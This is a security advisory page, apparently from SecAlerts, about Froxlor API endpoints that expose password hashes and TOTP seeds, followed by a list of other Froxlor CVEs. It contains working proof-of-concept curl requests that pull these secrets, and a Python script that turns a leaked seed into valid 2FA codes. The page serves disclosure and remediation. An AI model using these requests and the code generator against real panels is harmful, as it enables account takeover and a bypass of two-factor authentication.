bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Customers.listing","params":{}}' \ "$FROXLORBASE/api.php" | jq '.data.list[] | {customerid, loginname, password, type2fa, data2fa, email}'

Example vulnerable response:

json { "customerid": 1, "loginname": "customer1", "password": "$2y$12$REDACTEDHASHVALUE...", "type2fa": 2, "data2fa": "REDACTEDBASE32TOTPSEED", "email": "customer@example.com" }

The same issue can be verified with Customers.get:

bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Customers.get","params":{"id":1}}' \ "$FROXLORBASE/api.php"

PoC 2: Administrator password hash and TOTP seed exposure

bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Admins.listing","params":{}}' \ "$FROXLORBASE/api.php" | jq '.data.list[] | {adminid, loginname, password, type2fa, data2fa}'

Example vulnerable response:

json { "adminid": 1, "loginname": "admin", "password": "$2y$12$REDACTEDHASHVALUE...", "type2fa": 2, "data2fa": "REDACTEDBASE32TOTPSEED" }

The same issue can be verified with Admins.get:

bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Admins.get","params":{"id":1}}' \ "$FROXLORBASE/api.php"

PoC 3: FTP password hash exposure

bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Ftps.listing","params":{}}' \ "$FROXLORBASE/api.php" | jq '.data.list[] | {id, username, password}'

Example vulnerable response:

json { "id": 1, "username": "customer1", "password": "$2y$12$REDACTEDHASHVALUE..." }

The same issue can be verified with Ftps.get:

bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Ftps.get","params":{"id":1}}' \ "$FROXLORBASE/api.php"

PoC 4: Generate a valid TOTP code from the exposed seed

If type2fa = 2, the exposed data2fa value can be used to generate valid TOTP codes for the affected account.

bash export TOTPSEED='<base32totpseedfromdata2fa>'

python3 - <<'PY' import base64 import hashlib import hmac import os import struct import time

seed = os.environ["TOTPSEED"].replace(" ", "").upper() key = base64.b32decode(seed + "=" ((8 - len(seed) % 8) % 8))

counter = int(time.time() // 30) msg = struct.pack(">Q", counter)

digest = hmac.new(key, msg, hashlib.sha1).digest() offset = digest[-1] & 0x0F code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7fffffff

print(str(code % 1000000).zfill(6)) PY

The generated six-digit value is a valid TOTP code for the affected account during the current TOTP time window.

Expected behavior

API responses should never include password hashes, TOTP seeds, or other credential-equivalent authentication material in normal get or listing responses.

At minimum, the following fields should be omitted or redacted before returning API responses:

password data2fa any future credential-equivalent secret fields

Impact

An authenticated API user can retrieve credential material for accounts visible through the affected endpoints.

For password hashes, an attacker can perform offline cracking. If a weak or reused password is recovered, the attacker can authenticate as the affected customer, administrator, or FTP user. This may lead to unauthorized access to the hosting panel, FTP file access, hosted website modification, mail or database management, and lateral movement inside a shared-hosting environment.

For TOTP 2FA seeds, an attacker can generate valid one-time codes for affected administrator or customer accounts. TOTP seeds are long-lived secrets and remain valid until 2FA is reset. Exposure of data2fa therefore weakens or bypasses the second authentication factor for affected accounts.

The combined impact is especially severe when both password and data2fa are exposed for the same administrator or customer account. In that case, an attacker can attempt to crack the password hash offline and then use the exposed TOTP seed to generate valid 2FA codes, defeating both factors of authentication.

Administrator credential material is particularly sensitive because compromise of an administrator account may allow privileged panel actions and access to server-level or customer-level hosting configuration. Customer and FTP credential material is also sensitive because it may allow unauthorized access to hosted content and account-specific resources.

Remediation

API responses should be built from explicit allowlists of safe response fields instead of returning full database rows. Sensitive fields such as password and data2fa should never be included in normal get or listing responses.

As a tactical fix, remove or redact credential-equivalent fields before calling $this->response(...) in the affected API command classes.

As an architectural fix, introduce centralized response serialization for API models so that sensitive fields are consistently excluded across all endpoints. This should include password hashes, TOTP seeds, recovery secrets, API secrets, tokens, private keys, and any future authentication material.

Because TOTP seeds may have been exposed, affected installations should consider requiring 2FA reset or rotation for accounts whose data2fa values may have been returned through vulnerable API responses.

1 / 3
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Froxlor before 2.3.15 contains an authorization bypass vulnerability that allows authenticated customers to create MySQL databases by calling the Mysqls.add API endpoint, which lacks the customerhideoptions check. Customers can invoke Mysqls.add even when the admin has disabled the MySQL feature, creating unauthorized databases within their own quota despite the policy.

First published (updated )
Severity
5.3
AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Froxlor before 2.3.15 contains an authorization bypass vulnerability that allows authenticated customers to create MySQL databases by calling the Mysqls.add API endpoint, which lacks the customerhideoptions check. Customers can invoke Mysqls.add even when the admin has disabled the MySQL feature, creating unauthorized databases within their own quota despite the policy.

First published (updated )
Severity
5.3
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Froxlor 2.3.0 before 2.3.15 contains a missing authorization check in the Certificates.add and Certificates.update API commands, which do not verify whether a domain's certificate is Let's Encrypt-managed. Customers with API access can overwrite the managed certificate and private key with an attacker-chosen pair, which a REBUILDVHOST task deploys to the webserver, breaking HTTPS and desynchronizing ACME automation.

First published (updated )
Severity
5.3
AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

Froxlor 2.3.0 before 2.3.15 contains a missing authorization check in the Certificates.add and Certificates.update API commands, which do not verify whether a domain's certificate is Let's Encrypt-managed. Customers with API access can overwrite the managed certificate and private key with an attacker-chosen pair, which a REBUILDVHOST task deploys to the webserver, breaking HTTPS and desynchronizing ACME automation.

First published (updated )
Severity
8.6
Infoleak
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Froxlor from 2.3.8 before 2.3.15 contains an information disclosure vulnerability that allows administrators with customersseeall to view every account's API key and secret through an unscoped WHERE 1 query in apikeys.php. Attackers can read the super administrator's apikey and secret from the detail modal and replay them to the API to gain super administrator control.

First published (updated )
Severity
8.6
Infoleak
AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Froxlor from 2.3.8 before 2.3.15 contains an information disclosure vulnerability that allows administrators with customersseeall to view every account's API key and secret through an unscoped WHERE 1 query in apikeys.php. Attackers can read the super administrator's apikey and secret from the detail modal and replay them to the API to gain super administrator control.

First published (updated )
Severity
7.7
AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Froxlor through 2.3.10 stores only a numeric user ID in remembered-2FA tokens (panel2fatokens) without recording the account namespace, and the remembered-token lookup during login is not constrained to the customer or administrator account type. Because customer and administrator IDs are allocated from separate namespaces, a remembered-2FA token legitimately issued to a customer with a given ID also matches an administrator with the same ID. An attacker who controls a customer account with a colliding ID, holds a valid remembered-2FA cookie for it, and already knows the target administrator's password can bypass the administrator's TOTP second factor and obtain an authenticated administrator session. This is a second-factor bypass only; it does not defeat password authentication. Fixed in 2.3.11.

First published (updated )
Severity
8.4
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Froxlor before 2.2.0 (affected up to and including 2.2.0-rc3) generates /etc/pure-ftpd/db/mysql.conf with mode 0644 via the XML configuration templates in lib/configfiles/, even though the file contains the Froxlor SQL user's password. On systems where the parent directories are world readable (the default on Debian 12), any unprivileged local user able to execute commands or code on the host — including virtual users without SSH access who can upload PHP/CGI scripts — can read the file and obtain the Froxlor database credentials. Database access can then be leveraged to alter an administrator's password hash and TOTP seed, log in as a Froxlor administrator, and ultimately gain root privileges. Only instances configured to use pure-ftpd are affected.

First published (updated )
Severity
8.4
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L

Froxlor 0.10.0 before 2.3.14 contains a newline injection vulnerability that allows authenticated customers to inject arbitrary entries into the root-owned NSS group database via the unvalidated additionalmembers parameter of the Ftps.add API. Attackers can embed newline characters that the REBUILDNSSUSERS cron writes unsanitized into /var/lib/extrausers/group, creating privileged group entries for local privilege escalation.

First published (updated )
Severity
9.4
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Froxlor before 2.3.15 contains a symlink following vulnerability in Statistics::makeChownWithNewStats that allows authenticated customers to take ownership of arbitrary host directories by abusing the root-run traffic cron. Attackers can replace the goaccess statistics directory in their document root with a symlink, causing chown -R to hand root-owned trees to them and enabling root escalation.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203